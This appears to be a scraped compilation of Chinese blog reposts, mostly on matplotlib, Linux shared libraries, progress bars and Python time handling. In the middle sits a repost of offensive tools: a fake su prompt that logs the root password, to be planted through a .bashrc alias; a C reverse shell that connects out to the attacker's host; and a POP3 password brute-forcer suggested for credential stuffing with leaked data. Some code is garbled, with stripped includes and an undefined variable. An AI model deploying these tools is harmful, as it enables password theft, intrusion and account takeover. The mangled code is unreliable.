其中plt.text的参数分别是:x坐标,y坐标,要显示的文字。所以,调用代码如下:
import matplotlib.pyplot as plt

def autolabel(rects):
for rect in rects:
height = rect.get_height()
plt.text(rect.get_x()+rect.get_width()/2., 1.03*height, ‘%s’ % float(height))

plt.xlabel(u’性别’)
plt.ylabel(u’人数’)

plt.title(u”性别比例分析”)
plt.xticks((0,1),(u’男’,u’女’))
rect = plt.bar(left = (0,1),height = (1,0.5),width = 0.35,align=”center”)

plt.legend((rect,),(u”图例”,))
autolabel(rect)

plt.show()

到这里这个图形已经基本完备了,不过可以看到你一个矩形紧靠这顶部,不是很好看。最好能够空出一段距离出来就好了。这个设置我没有找到具体的属性。不过,我还是通过一个小技巧来实现了。就是bar属性的yerr参数。一旦设置了这个参数,那么对应的矩形上面就会有一个竖着的线,我不知道他是干什么的。不过当我把这个值设置的很小的时候,上面的空白就自动空出来了。如图:
rect = plt.bar(left = (0,1),height = (1,0.5),width = 0.35,align=”center”,yerr=0.000001)

对于左右两边能否空出空白来暂时还没有找到(xerr参数不行)

渗透用的Python小脚本

0×00

渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小使用,求欣赏,求好评。

0×01

记录root密码小工具

root.py

01
#!/usr/bin/python
02
import os, sys, getpass, time
03

04
current_time = time.strftime(“%Y-%m-%d %H:%M”)
05
logfile=”/dev/shm/.su.log” //密码获取后记录在这里
06
#CentOS
07
#fail_str = “su: incorrect password”
08
#Ubuntu
09
#fail_str = “su: Authentication failure”
10
#For Linux Korea //centos,ubuntu,korea 切换root用户失败提示不一样
11
fail_str = “su: incorrect password”
12
try:
13
passwd = getpass.getpass(prompt=’Password: ‘);
14
file=open(logfile,’a’)
15
file.write(“[%s]t%s”%(passwd, current_time)) //截取root密码
16
file.write(‘n’)
17
file.close()
18
except:
19
pass
20
time.sleep(1)
21
print fail_str //打印切换root失败提示

渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

0×02

设置源端口反弹shell

渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,

Ping了下百度 可以ping通,

那真相只有一个

服务器变态的限制了只能某些提供已某些端口为源端口去连接外面

比如

只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

谷歌程序无果,自己查了相关api后写了个。

client-port.c

01
#include
02
#include
03
#include
04
#include
05
#include
06
void error(char *msg)
07
{
08
perror(msg);
09
exit(0);
10
}
11
int main(int argc, char *argv[])
12
{
13
int sockfd, portno, lportno,n;
14
struct sockaddr_in serv_addr;
15
struct sockaddr_in client_addr;
16
struct hostent *server;
17
char buffer[256];
18
if (argc < 3) { 19 fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]); 20 exit(0); 21 } //三个参数,目标主机,目标主机端口,本地源端口 22 portno = atoi(argv[2]); 23 sockfd = socket(AF_INET, SOCK_STREAM, 0); 24 if (sockfd < 0) 25 error("ERROR opening socket"); 26 27 28 bzero((char *) &client_addr, sizeof(client_addr)); 29 lportno = atoi(argv[3]); 30 client_addr.sin_family = AF_INET; 31 client_addr.sin_addr.s_addr = INADDR_ANY; 32 client_addr.sin_port = htons(lportno); //设置源端口 33 if (bind(sockfd, (struct sockaddr *) &client_addr, 34 sizeof(client_addr)) < 0) 35 error("ERROR on binding"); 36 37 server = gethostbyname(argv[1]); 38 if (server == NULL) { 39 fprintf(stderr,"ERROR, no such host "); 40 exit(0); 41 } 42 bzero((char *) &serv_addr, sizeof(serv_addr)); 43 serv_addr.sin_family = AF_INET; 44 bcopy((char *)server->h_addr,
45
(char *)&serv_addr.sin_addr.s_addr,
46
server->h_length);
47
serv_addr.sin_port = htons(portno);
48
if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接 49 error("ERROR connecting"); 50 dup2(fd, 0); 51 dup2(fd, 1); 52 dup2(fd, 2); 53 execl("/bin/sh","sh -i", NULL); //执行shell 54 close(fd); 55 } 用法: 1 gcc client-port.c -o port 1 chmod +x port 1 ./port 你的IP 你的监听端口 本地的源端口 如 ./port http://www.91ri.org 80 80 成功反弹shell 提权成功 0×03 邮箱爆破脚本 某个时候 需要爆破一批邮箱 Burp163.pl 01 #!/usr/bin/perl 02 use Net::POP3; 03 $email="pop.163.com"; //设置pop服务器地址 qq为pop.qq.com 04 $pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. “);
05
print $pop->banner();
06
$pop->quit;
07
$i=0;
08
open(fp1,”user.txt”);
09
@array1=;
10
open(fp2,”pass.txt”);
11
@array2=; //从文件中获取邮箱用户名及密码
12
foreach $a(@array1) {
13
$u=substr($a,0,length($a)-1);
14
$u=$u.”@163.com”;
15
foreach $b(@array2) {
16
$p=substr($b,0,length($b)-1);
17
print “cracked with “.$u.”—–“.$p.”n”;
18
$i=$i+1;
19
$pop = Net::POP3->new($email)or die(“ERROR: Unable to initiate. “);
20
$m=$pop->login($u,$p); //尝试登录邮箱
21
if($m>0)
22
{
23
print $u.”————“.$p.”—-“.”success”.”n”;
24
$pop->quit;
25
} //成功登录
26
else
27
{
28
print $u.”————“.$p.”—-“.”failed”.”n”;
29
$pop->quit; //登录失败
30
}
31
}
32
}
33
print $i;
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

1
$email=”pop.163.com”;
再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

同目录user.txt中吗,再将字典存进去pass.txt

你会说

这个有点鸡肋吧 万一邮箱的密码很复杂

呵呵

搞到了一个小站的数据,

用这个程序批量测试密码是否就是邮箱密码 呵呵

我啥都没说。

0×04

这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。
转自=: http://www.91ri.org/8680.html

error while loading shared libraries: xxx.so.x”错误的原因和解决办法

一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如:

 

tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file or directory
原因一般有两个, 一个是操作系统里确实没有包含该共享库(lib*.so.*文件)或者共享库版本不对, 遇到这种情况那就去网上下载并安装上即可.

另外一个原因就是已经安装了该共享库, 但执行需要调用该共享库的程序的时候, 程序按照默认共享库路径找不到该共享库文件.

所以安装共享库后要注意共享库路径设置问题, 如下:

1) 如果共享库文件安装到了/lib或/usr/lib目录下, 那么需执行一下ldconfig命令

ldconfig命令的用途, 主要是在默认搜寻目录(/lib和/usr/lib)以及动态库配置文件/etc/ld.so.conf内所列的目录下, 搜索出可共享的动态链接库(格式如lib*.so*), 进而创建出动态装入程序(ld.so)所需的连接和缓存文件. 缓存文件默认为/etc/ld.so.cache, 此文件保存已排好序的动态链接库名字列表.

2) 如果共享库文件安装到了/usr/local/lib(很多开源的共享库都会安装到该目录下)或其它”非/lib或/usr/lib”目录下, 那么在执行ldconfig命令前, 还要把新共享库目录加入到共享库配置文件/etc/ld.so.conf中, 如下:

# cat /etc/ld.so.conf
include ld.so.conf.d/*.conf
# echo “/usr/local/lib” >> /etc/ld.so.conf
# ldconfig

3) 如果共享库文件安装到了其它”非/lib或/usr/lib” 目录下,  但是又不想在/etc/ld.so.conf中加路径(或者是没有权限加路径). 那可以export一个全局变量LD_LIBRARY_PATH, 然后运行程序的时候就会去这个目录中找共享库. 

LD_LIBRARY_PATH的意思是告诉loader在哪些目录中可以找到共享库. 可以设置多个搜索目录, 这些目录之间用冒号分隔开. 比如安装了一个mysql到/usr/local/mysql目录下, 其中有一大堆库文件在/usr/local/mysql/lib下面, 则可以在.bashrc或.bash_profile或shell里加入以下语句即可:

export LD_LIBRARY_PATH=/usr/local/mysql/lib:$LD_LIBRARY_PATH

一般来讲这只是一种临时的解决方案, 在没有权限或临时需要的时候使用.

4)如果程序需要的库文件比系统目前存在的村文件版本低,可以做一个链接
比如:
error while loading shared libraries: libncurses.so.4: cannot open shared
object file: No such file or directory

ls /usr/lib/libncu*
/usr/lib/libncurses.a   /usr/lib/libncurses.so.5
/usr/lib/libncurses.so  /usr/lib/libncurses.so.5.3

可见虽然没有libncurses.so.4,但有libncurses.so.5,是可以向下兼容的
建一个链接就好了
ln -s  /usr/lib/libncurses.so.5.3  /usr/lib/libncurses.so.4

出处:http://blog.csdn.net/sahusoft/article/details/7388617
http://www.vrlinux.com/shujukuyingyong/20100407/26958.html

Python图表绘制:matplotlib绘图库入门

转自: http://www.cnblogs.com/wei-li/archive/2012/05/23/2506940.html

 

---------------------------------------

matplotlib 是python最著名的绘图库,它提供了一整套和matlab相似的命令API,十分适合交互式地行制图。而且也可以方便地将它作为绘图控件,嵌入GUI应用程序中。

它的文档相当完备,并且Gallery页面中有上百幅缩略图,打开之后都有源程序。因此如果你需要绘制某种类型的图,只需要在这个页面中浏览/复制/粘贴一下,基本上都能搞定。

在Linux下比较著名的数据图工具还有gnuplot,这个是免费的,Python有一个包可以调用gnuplot,但是语法比较不习惯,而且画图质量不高。

而 Matplotlib则比较强:Matlab的语法、python语言、latex的画图质量(还可以使用内嵌的latex引擎绘制的数学公式)。


Matplotlib.pyplot快速绘图


快速绘图面向对象方式绘图

matplotlib实际上是一套面向对象的绘图库,它所绘制的图表中的每个绘图元素,例如线条Line2D、文字Text、刻度等在内存中都有一个对象与之对应。

为了方便快速绘图matplotlib通过pyplot模块提供了一套和MATLAB类似的绘图API,将众多绘图对象所构成的复杂结构隐藏在这套API内部。我们只需要调用pyplot模块所提供的函数就可以实现快速绘图以及设置图表的各种细节。pyplot模块虽然用法简单,但不适合在较大的应用程序中使用。

为了将面向对象的绘图库包装成只使用函数的调用接口,pyplot模块的内部保存了当前图表以及当前子图等信息。当前的图表和子图可以使用plt.gcf()和plt.gca()获得,分别表示”Get Current Figure”和”Get Current Axes”。在pyplot模块中,许多函数都是对当前的Figure或Axes对象进行处理,比如说:

plt.plot()实际上会通过plt.gca()获得当前的Axes对象ax,然后再调用ax.plot()方法实现真正的绘图。

可以在Ipython中输入类似”plt.plot??”的命令查看pyplot模块的函数是如何对各种绘图对象进行包装的。

配置属性

matplotlib所绘制的图表的每个组成部分都和一个对象对应,我们可以通过调用这些对象的属性设置方法set_*()或者pyplot模块的属性设置函数setp()设置它们的属性值。

因为matplotlib实际上是一套面向对象的绘图库,因此也可以直接获取对象的属性

配置文件

绘制一幅图需要对许多对象的属性进行配置,例如颜色、字体、线型等等。我们在绘图时,并没有逐一对这些属性进行配置,许多都直接采用了matplotlib的缺省配置。

matplotlib将这些缺省配置保存在一个名为“matplotlibrc”的配置文件中,通过修改配置文件,我们可以修改图表的缺省样式。配置文件的读入可以使用rc_params(),它返回一个配置字典;在matplotlib模块载入时会调用rc_params(),并把得到的配置字典保存到rcParams变量中;matplotlib将使用rcParams字典中的配置进行绘图;用户可以直接修改此字典中的配置,所做的改变会反映到此后创建的绘图元素。

绘制多子图(快速绘图)

Matplotlib 里的常用类的包含关系为 Figure -> Axes -> (Line2D, Text, etc.)一个Figure对象可以包含多个子图(Axes),在matplotlib中用Axes对象表示一个绘图区域,可以理解为子图。

可以使用subplot()快速绘制包含多个子图的图表,它的调用形式如下:

subplot(numRows, numCols, plotNum)

subplot将整个绘图区域等分为numRows行* numCols列个子区域,然后按照从左到右,从上到下的顺序对每个子区域进行编号,左上的子区域的编号为1。如果numRows,numCols和plotNum这三个数都小于10的话,可以把它们缩写为一个整数,例如subplot(323)和subplot(3,2,3)是相同的。subplot在plotNum指定的区域中创建一个轴对象。如果新创建的轴和之前创建的轴重叠的话,之前的轴将被删除。

image

subplot()返回它所创建的Axes对象,我们可以将它用变量保存起来,然后用sca()交替让它们成为当前Axes对象,并调用plot()在其中绘图。

绘制多图表(快速绘图)

如果需要同时绘制多幅图表,可以给figure()传递一个整数参数指定Figure对象的序号,如果序号所指定的Figure对象已经存在,将不创建新的对象,而只是让它成为当前的Figure对象。

import numpy as np
import matplotlib.pyplot as plt

plt.figure(1) # 创建图表1
plt.figure(2) # 创建图表2
ax1 = plt.subplot(211) # 在图表2中创建子图1
ax2 = plt.subplot(212) # 在图表2中创建子图2

x = np.linspace(0, 3, 100)
for i in xrange(5):
    plt.figure(1)  #❶ # 选择图表1
    plt.plot(x, np.exp(i*x/3))
    plt.sca(ax1)   #❷ # 选择图表2的子图1
    plt.plot(x, np.sin(i*x))
    plt.sca(ax2)  # 选择图表2的子图2
    plt.plot(x, np.cos(i*x))

plt.show()

/tech/static/books/scipy/_images/matplotlib_multi_figure.png

在图表中显示中文

matplotlib的缺省配置文件中所使用的字体无法正确显示中文。为了让图表能正确显示中文,可以有几种解决方案。

  1. 在程序中直接指定字体。
  2. 在程序开头修改配置字典rcParams。
  3. 修改配置文件。

面向对象画图


matplotlib API包含有三层,Artist层处理所有的高层结构,例如处理图表、文字和曲线等的绘制和布局。通常我们只和Artist打交道,而不需要关心底层的绘制细节。

直接使用Artists创建图表的标准流程如下:

  • 创建Figure对象
  • 用Figure对象创建一个或者多个Axes或者Subplot对象
  • 调用Axies等对象的方法创建各种简单类型的Artists

import matplotlib.pyplot as plt


X1 = range(0, 50) Y1 = [num**2 for num in X1] # y = x^2 X2 = [0, 1] Y2 = [0, 1] # y = x


Fig = plt.figure(figsize=(8,4)) # Create a `figure’ instance Ax = Fig.add_subplot(111) # Create a `axes’ instance in the figure Ax.plot(X1, Y1, X2, Y2) # Create a Line2D instance in the axes


Fig.show() Fig.savefig(“test.pdf”)

 

参考:

《Python科学计算》(Numpy视频matplotlib-绘制精美的图表(快速绘图)(面向对象绘图)(深入浅出适合系统学习)

什么是 Matplotlib (主要讲面向对象绘图,对于新手可能有点乱)

 


Matplotlib.pylab快速绘图


matplotlib还提供了一个名为pylab的模块,其中包括了许多NumPy和pyplot模块中常用的函数,方便用户快速进行计算和绘图,十分适合在IPython交互式环境中使用。这里使用下面的方式载入pylab模块:

>>> import pylab as pl

1 安装numpy和matplotlib

>>> import numpy
>>> numpy.__version__

>>> import matplotlib
>>> matplotlib.__version__

 

2 两种常用图类型:Line and scatter plots(使用plot()命令), histogram(使用hist()命令)

2.1 折线图&散点图 Line and scatter plots

2.1.1 折线图 Line plots(关联一组x和y值的直线)

import numpy as np
import pylab as pl

x = [1, 2, 3, 4, 5]# Make an array of x values
y = [1, 4, 9, 16, 25]# Make an array of y values for each x value

pl.plot(x, y)# use pylab to plot x and y
pl.show()# show the plot on the screen

image

 

2.1.2 散点图 Scatter plots

把pl.plot(x, y)改成pl.plot(x, y, ‘o’)即可,下图的蓝色版本

 

2.2  美化 Making things look pretty

2.2.1 线条颜色 Changing the line color

红色:把pl.plot(x, y, ‘o’)改成pl.plot(x, y, ’or’)

image

image

 

2.2.2 线条样式 Changing the line style

虚线:plot(x,y, ‘–‘)

image

 

2.2.3 marker样式 Changing the marker style

蓝色星型markers:plot(x,y, ’b*’)

image

 

2.2.4 图和轴标题以及轴坐标限度 Plot and axis titles and limits

import numpy as np
import pylab as pl

x = [1, 2, 3, 4, 5]# Make an array of x values
y = [1, 4, 9, 16, 25]# Make an array of y values for each x value
pl.plot(x, y)# use pylab to plot x and y

pl.title(’Plot of y vs. x’)# give plot a title
pl.xlabel(’x axis’)# make axis labels
pl.ylabel(’y axis’)

pl.xlim(0.0, 7.0)# set axis limits
pl.ylim(0.0, 30.)

pl.show()# show the plot on the screen

image

 

2.2.5 在一个坐标系上绘制多个图 Plotting more than one plot on the same set of axes

做法是很直接的,依次作图即可:

import numpy as np
import pylab as pl

x1 = [1, 2, 3, 4, 5]# Make x, y arrays for each graph
y1 = [1, 4, 9, 16, 25]
x2 = [1, 2, 4, 6, 8]
y2 = [2, 4, 8, 12, 16]

pl.plot(x1, y1, ’r’)# use pylab to plot x and y
pl.plot(x2, y2, ’g’)

pl.title(’Plot of y vs. x’)# give plot a title
pl.xlabel(’x axis’)# make axis labels
pl.ylabel(’y axis’)


pl.xlim(0.0, 9.0)# set axis limits
pl.ylim(0.0, 30.)


pl.show()# show the plot on the screen

image

 

2.2.6  图例 Figure legends

pl.legend((plot1, plot2), (’label1, label2’), ‘best’, numpoints=1)

其中第三个参数表示图例放置的位置:’best’‘upper right’, ‘upper left’, ‘center’, ‘lower left’, ‘lower right’.

如果在当前figure里plot的时候已经指定了label,如plt.plot(x,z,label=”cos(x2)”),直接调用plt.legend()就可以了哦。

import numpy as np
import pylab as pl

x1 = [1, 2, 3, 4, 5]# Make x, y arrays for each graph
y1 = [1, 4, 9, 16, 25]
x2 = [1, 2, 4, 6, 8]
y2 = [2, 4, 8, 12, 16]

plot1 = pl.plot(x1, y1, ’r’)# use pylab to plot x and y : Give your plots names
plot2 = pl.plot(x2, y2, ’go’)

pl.title(’Plot of y vs. x’)# give plot a title
pl.xlabel(’x axis’)# make axis labels
pl.ylabel(’y axis’)


pl.xlim(0.0, 9.0)# set axis limits
pl.ylim(0.0, 30.)


pl.legend([plot1, plot2], (’red line’, ’green circles’), ’best’, numpoints=1)# make legend
pl.show()# show the plot on the screen

image

 

2.3 直方图 Histograms

import numpy as np
import pylab as pl

# make an array of random numbers with a gaussian distribution with
# mean = 5.0
# rms = 3.0
# number of points = 1000
data = np.random.normal(5.0, 3.0, 1000)

# make a histogram of the data array
pl.hist(data)

# make plot labels
pl.xlabel(’data’)
pl.show()

如果不想要黑色轮廓可以改为pl.hist(data, histtype=’stepfilled’)

image

 

2.3.1 自定义直方图bin宽度 Setting the width of the histogram bins manually

增加这两行

bins = np.arange(-5., 16., 1.) #浮点数版本的range
pl.hist(data, bins, histtype=’stepfilled’)

image

 

3 同一画板上绘制多幅子图 Plotting more than one axis per canvas

如果需要同时绘制多幅图表的话,可以是给figure传递一个整数参数指定图标的序号,如果所指定
序号的绘图对象已经存在的话,将不创建新的对象,而只是让它成为当前绘图对象。

fig1 = pl.figure(1)
pl.subplot(211)
subplot(211)把绘图区域等分为2行*1列共两个区域, 然后在区域1(上区域)中创建一个轴对象. pl.subplot(212)在区域2(下区域)创建一个轴对象。
image

You can play around with plotting a variety of layouts. For example, Fig. 11 is created using the following commands:

f1 = pl.figure(1)
pl.subplot(221)
pl.subplot(222)
pl.subplot(212)

image

当绘图对象中有多个轴的时候,可以通过工具栏中的Configure Subplots按钮,交互式地调节轴之间的间距和轴与边框之间的距离。如果希望在程序中调节的话,可以调用subplots_adjust函数,它有left, right, bottom, top, wspace, hspace等几个关键字参数,这些参数的值都是0到1之间的小数,它们是以绘图区域的宽高为1进行正规化之后的坐标或者长度。

pl.subplots_adjust(left=0.08, right=0.95, wspace=0.25, hspace=0.45)

 

4 绘制文件中的数据Plotting data contained in files

4.1 从Ascii文件中读取数据 Reading data from ascii files

读取文件的方法很多,这里只介绍一种简单的方法,更多的可以参考官方文档和NumPy快速处理数据(文件存取)

numpy的loadtxt方法可以直接读取如下文本数据到numpy二维数组

**********************************************

# fakedata.txt
0 0
1 1
2 4
3 9
4 16
5 25
6 36
7 49
8 64
9 81
0 0
1 1
2 4
3 9
4 16
5 25
6 36
7 49
8 64
9 81

**********************************************

import numpy as np
import pylab as pl

# Use numpy to load the data contained in the file
# ’fakedata.txt’ into a 2-D array called data
data = np.loadtxt(’fakedata.txt’)

# plot the first column as x, and second column as y
pl.plot(data[:,0], data[:,1], ’ro’)
pl.xlabel(’x’)
pl.ylabel(’y’)
pl.xlim(0.0, 10.)
pl.show()

image

 

4.2 写入数据到文件 Writing data to a text file

写文件的方法也很多,这里只介绍一种可用的写入文本文件的方法,更多的可以参考官方文档。

import numpy as np
# Let’s make 2 arrays (x, y) which we will write to a file
# x is an array containing numbers 0 to 10, with intervals of 1
x = np.arange(0.0, 10., 1.)
# y is an array containing the values in x, squared
y = x*x
print ’x = ’, x
print ’y = ’, y

# Now open a file to write the data to
# ’w’ means open for ’writing’
file = open(’testdata.txt’, ’w’)
# loop over each line you want to write to file
for i in range(len(x)):
    # make a string for each line you want to write
    # ’\t’ means ’tab’
    # ’\n’ means ’newline’
    # ’str()’ means you are converting the quantity in brackets to a string type
    txt = str(x[i]) + ’\t’ + str(y[i]) + ’ \n’
    # write the txt to the file
    file.write(txt)
# Close your file
file.close()

这部分是翻译自:Python Plotting Beginners Guide


对LaTeX数学公式的支持

Matlplotlib对LaTeX有一定的支持,如果记得使用raw字符串语法会很自然:

xlabel(r”x2y4″)

在matplotlib里面,可以使用LaTex的命令来编辑公式,只需要在字符串前面加一个“r”即可

Here is a simple example:

# plain text
plt.title(‘alpha > beta’)

produces “alpha > beta”.

Whereas this:

produces ““.

这里给大家看一个简单的例子。

import matplotlib.pyplot as plt

x = arange(1,1000,1)
r = -2
c = 5
y = [5*(a**r) for a in x]

 

fig = plt.figure()

ax = fig.add_subplot(111)
ax.loglog(x,y,label = r”y=12σ21,c=5,σ1=−2″)
ax.legend()
ax.set_xlabel(r”x”)
ax.set_ylabel(r”y”)

程序执行结果如图3所示,这实际上是一个power-law的例子,有兴趣的朋友可以继续google之。

再看一个《用Python做科学计算》中的简单例子,下面的两行程序通过调用plot函数在当前的绘图对象中进行绘图:

plt.plot(x,y,label=”sin(x)”,color=”red”,linewidth=2)
plt.plot(x,z,”b–“,label=”cos(x2)”)

plot函数的调用方式很灵活,第一句将x,y数组传递给plot之后,用关键字参数指定各种属性:

  • label : 给所绘制的曲线一个名字,此名字在图示(legend)中显示。只要在字符串前后添加”$“符号,matplotlib就会使用其内嵌的latex引擎绘制的数学公式。
  • color : 指定曲线的颜色
  • linewidth : 指定曲线的宽度

 

详细的可以参考matplotlib官方教程:

Writing mathematical expressions

Text rendering With LaTeX

有几个问题:

  • matplotlib.rcParams属性字典
  • 想要它正常工作,在matplotlibrc配置文件中需要设置text.markup = “tex”。
  • 如果你希望图表中所有的文字(包括坐标轴刻度标记)都是LaTeX’d,需要在matplotlibrc中设置text.usetex = True。如果你使用LaTeX撰写论文,那么这一点对于使图表和论文中其余部分保持一致是很有用的。
  • 在matplotlib中使用中文字符串时记住要用unicode格式,例如:u”测试中文显示”

matplotlib使用小结

LaTeX科技排版

参考文献自动搜集管理完美攻略(图文版):Latex+Lyx+Zotero

 


对数坐标轴

在实际中,我们可能经常会用到对数坐标轴,这时可以用下面的三个函数来实现

ax.semilogx(x,y) #x轴为对数坐标轴

ax.semilogy(x,y) #y轴为对数坐标轴

ax.loglog(x,y) #双对数坐标轴


学习资源

Gnuplot的介绍

官方英文资料:

IBM:基于 Python Matplotlib 模块的高质量图形输出(2005年的文章有点旧)

matplotlib技巧集(绘制不连续函数的不连续点;参数曲线上绘制方向箭头;修改缺省刻度数目;Y轴不同区间使用不同颜色填充的曲线区域。)

Python:使用matp绘制不连续函数的不连续点;参数曲线上绘制方向箭头;修改缺省刻度数目;Y轴不同区间使用不同颜色填充的曲线区域。lotlib绘制图表

matplotlib输出图象的中文显示问题

matplotlib图表中图例大小及字体相关问题

Python中如何写控制台进度条的整理

进度条和一般的print区别在哪里呢?

答案就是print会输出一个\n,也就是换行符,这样光标移动到了下一行行首,接着输出,之前已经通过stdout输出的东西依旧保留,而且保证我们在下面看到最新的输出结果。

进度条不然,我们必须再原地输出才能保证他是一个进度条,否则换行了怎么还叫进度条?

最简单的办法就是,再输出完毕后,把光标移动到行首,继续在那里输出更长的进度条即可实现,新的更长的进度条把旧的短覆盖,就形成了动画效果。

可以想到那个转义符了吧,那就是 \r。

转义符\r就可以把光标移动到行首而不换行,转义符\n就把光标移动到行首并且换行。

在python中,输出stdout(标准输出)可以使用sys.stdout.write
例如:

#!/usr/bin/env python
# -*- coding=utf-8 -*-
#Using GPL v2
#Author: ihipop@gmail.com
##2010-10-27 22:07
“””
Usage:
Just A Template
“””
from __future__ import division

import sys,time
j = ‘#’
if __name__ == ‘__main__’:
for i in range(1,61):
j += ‘#’
sys.stdout.write(str(int((i/60)*100))+’% ||’+j+’->’+”\r”)
sys.stdout.flush()
time.sleep(0.5)
print
第二种思路是用转义符\b
转义符\b是退格键,也就是说把输出的光标往回退格子,这样就可以不用+=了,例如:

#!/usr/bin/env python
# -*- coding=utf-8 -*-
#Using GPL v2
#Author: ihipop@gmail.com
#2010-10-27 22:07
“””
Usage:
Just A Template
“””
from __future__ import division

import sys,time
if __name__ == ‘__main__’:
for i in range(1,61):
sys.stdout.write(‘#’+’->’+”\b\b”)
sys.stdout.flush()
time.sleep(0.5)
print
光标回退2格,写个#再回退,再写,达到增长的目的了

不过写这么多似乎是废话,在耳边常常听到一句话:那就是不要重复造轮子。实际上python有丰富发lib帮你实现这个东西,你完全可以把心思放在逻辑开发上而不用注意这些小细节
下面要介绍的就是这个类“progressbar”(http://code.google.com/p/python-progressbar/),使用easy_install可以方便的安装这可个类库,其实就一个文件,拿过来放到文件同一个目录下面也直接可以import过来

下面就是基本使用举例:

#!/usr/bin/env python
# -*- coding=utf-8 -*-
#Using GPL v2
#Author: ihipop@gmail.com
#2010-10-27 22:53
“””
Usage:
Just A Template
“””
from __future__ import division

import sys,time
from progressbar import *
total = 1000

#基本用法
progress = ProgressBar()
for i in progress(range(total)):
time.sleep(0.01)

pbar = ProgressBar().start()
for i in range(1,1000):
pbar.update(int((i/(total-1))*100))
time.sleep(0.01)
pbar.finish()

#高级用法
widgets = [‘Progress: ‘, Percentage(), ‘ ‘, Bar(marker=RotatingMarker(‘>-=’)),
‘ ‘, ETA(), ‘ ‘, FileTransferSpeed()]
pbar = ProgressBar(widgets=widgets, maxval=10000000).start()
for i in range(1000000):
# do something
pbar.update(10*i+1)
time.sleep(0.0001)
pbar.finish()
官方示例下载,移步这里:http://code.google.com/p/python-progressbar/source/browse/progressbar/examples.py
再发一个类:

#!/usr/bin/env python
# -*- coding=utf-8 -*-
#Using GPL v2
#Author: ihipop@gmail.com
#2010-10-30 13:59
“””
Usage:
Just A Template
“””
class progressbarClass:
def __init__(self, finalcount, progresschar=None):
import sys
self.finalcount=finalcount
self.blockcount=0
#
# See if caller passed me a character to use on the
# progress bar (like “*”). If not use the block
# character that makes it look like a real progress
# bar.
#
if not progresschar: self.block=chr(178)
else: self.block=progresschar
#
# Get pointer to sys.stdout so I can use the write/flush
# methods to display the progress bar.
#
self.f=sys.stdout
#
# If the final count is zero, don’t start the progress gauge
#
if not self.finalcount : return
self.f.write(‘\n——————- % Progress ——————-\n’)
return

def progress(self, count):
#
# Make sure I don’t try to go off the end (e.g. >100%)
#
count=min(count, self.finalcount)
#
# If finalcount is zero, I’m done
#
if self.finalcount:
percentcomplete=int(round(100*count/self.finalcount))
if percentcomplete < 1: percentcomplete=1 else: percentcomplete=100 #print "percentcomplete=",percentcomplete blockcount=int(percentcomplete/2) #print "blockcount=",blockcount if blockcount > self.blockcount:
for i in range(self.blockcount,blockcount):
self.f.write(self.block)
self.f.flush()

if percentcomplete == 100: self.f.write(“\n”)
self.blockcount=blockcount
return

if __name__ == “__main__”:
from time import sleep
pb=progressbarClass(8,”*”)
count=0
while count<9: count+=1 pb.progress(count) sleep(0.2) Author Info : From:Python中如何写控制台进度条的整理 URL:http://blog.ihipop.info/2010/10/1736.html Please Reserve This Link,Thanks!

Python时间,日期,时间戳之间转换

1.将字符串的时间转换为时间戳
方法:
a = “2013-10-10 23:40:00”
将其转换为时间数组
import time
timeArray = time.strptime(a, “%Y-%m-%d %H:%M:%S”)
转换为时间戳:
timeStamp = int(time.mktime(timeArray))
timeStamp == 1381419600

2.字符串格式更改
如a = “2013-10-10 23:40:00”,想改为 a = “2013/10/10 23:40:00”
方法:先转换为时间数组,然后转换为其他格式
timeArray = time.strptime(a, “%Y-%m-%d %H:%M:%S”)
otherStyleTime = time.strftime(“%Y/%m/%d %H:%M:%S”, timeArray)

3.时间戳转换为指定格式日期:
方法一:
利用localtime()转换为时间数组,然后格式化为需要的格式,如
timeStamp = 1381419600
timeArray = time.localtime(timeStamp)
otherStyleTime = time.strftime(“%Y-%m-%d %H:%M:%S”, timeArray)
otherStyletime == “2013-10-10 23:40:00”

方法二:
import datetime
timeStamp = 1381419600
dateArray = datetime.datetime.utcfromtimestamp(timeStamp)
otherStyleTime = dateArray.strftime(“%Y-%m-%d %H:%M:%S”)
otherStyletime == “2013-10-10 23:40:00″

4.获取当前时间并转换为指定日期格式
方法一:
import time
获得当前时间时间戳
now = int(time.time()) ->这是时间戳
转换为其他日期格式,如:”%Y-%m-%d %H:%M:%S”
timeArray = time.localtime(timeStamp)
otherStyleTime = time.strftime(“%Y-%m-%d %H:%M:%S”, timeArray)

方法二:
import datetime
获得当前时间
now = datetime.datetime.now() ->这是时间数组格式
转换为指定的格式:
otherStyleTime = now.strftime(“%Y-%m-%d %H:%M:%S”)

5.获得三天前的时间
方法:
import time
import datetime
先获得时间数组格式的日期
threeDayAgo = (datetime.datetime.now() – datetime.timedelta(days = 3))
转换为时间戳:
timeStamp = int(time.mktime(threeDayAgo.timetuple()))
转换为其他字符串格式:
otherStyleTime = threeDayAgo.strftime(“%Y-%m-%d %H:%M:%S”)
注:timedelta()的参数有:days,hours,seconds,microseconds

6.给定时间戳,计算该时间的几天前时间:
timeStamp = 1381419600
先转换为datetime
import datetime
import time
dateArray = datetime.datetime.utcfromtimestamp(timeStamp)
threeDayAgo = dateArray – datetime.timedelta(days = 3)
参考5,可以转换为其他的任意格式了

mocking-the-builtin-open-used-as-a-context-manager

转载自:

http://www.voidspace.org.uk/python/mock/compare.html#mocking-the-builtin-open-used-as-a-context-manager

python mock上的事情都可以到这个页面去找解决方案哦~~~

 

Mocking the builtin open used as a context manager

Example for mock only (so far):

>>> # mock
>>> my_mock = mock.MagicMock()
>>> with mock.patch('__builtin__.open', my_mock):
...     manager = my_mock.return_value.__enter__.return_value
...     manager.read.return_value = 'some data'
...     with open('foo') as h:
...         data = h.read()
...
>>> data
'some data'
>>> my_mock.assert_called_once_with('foo')

or:

>>> # mock
>>> with mock.patch('__builtin__.open') as my_mock:
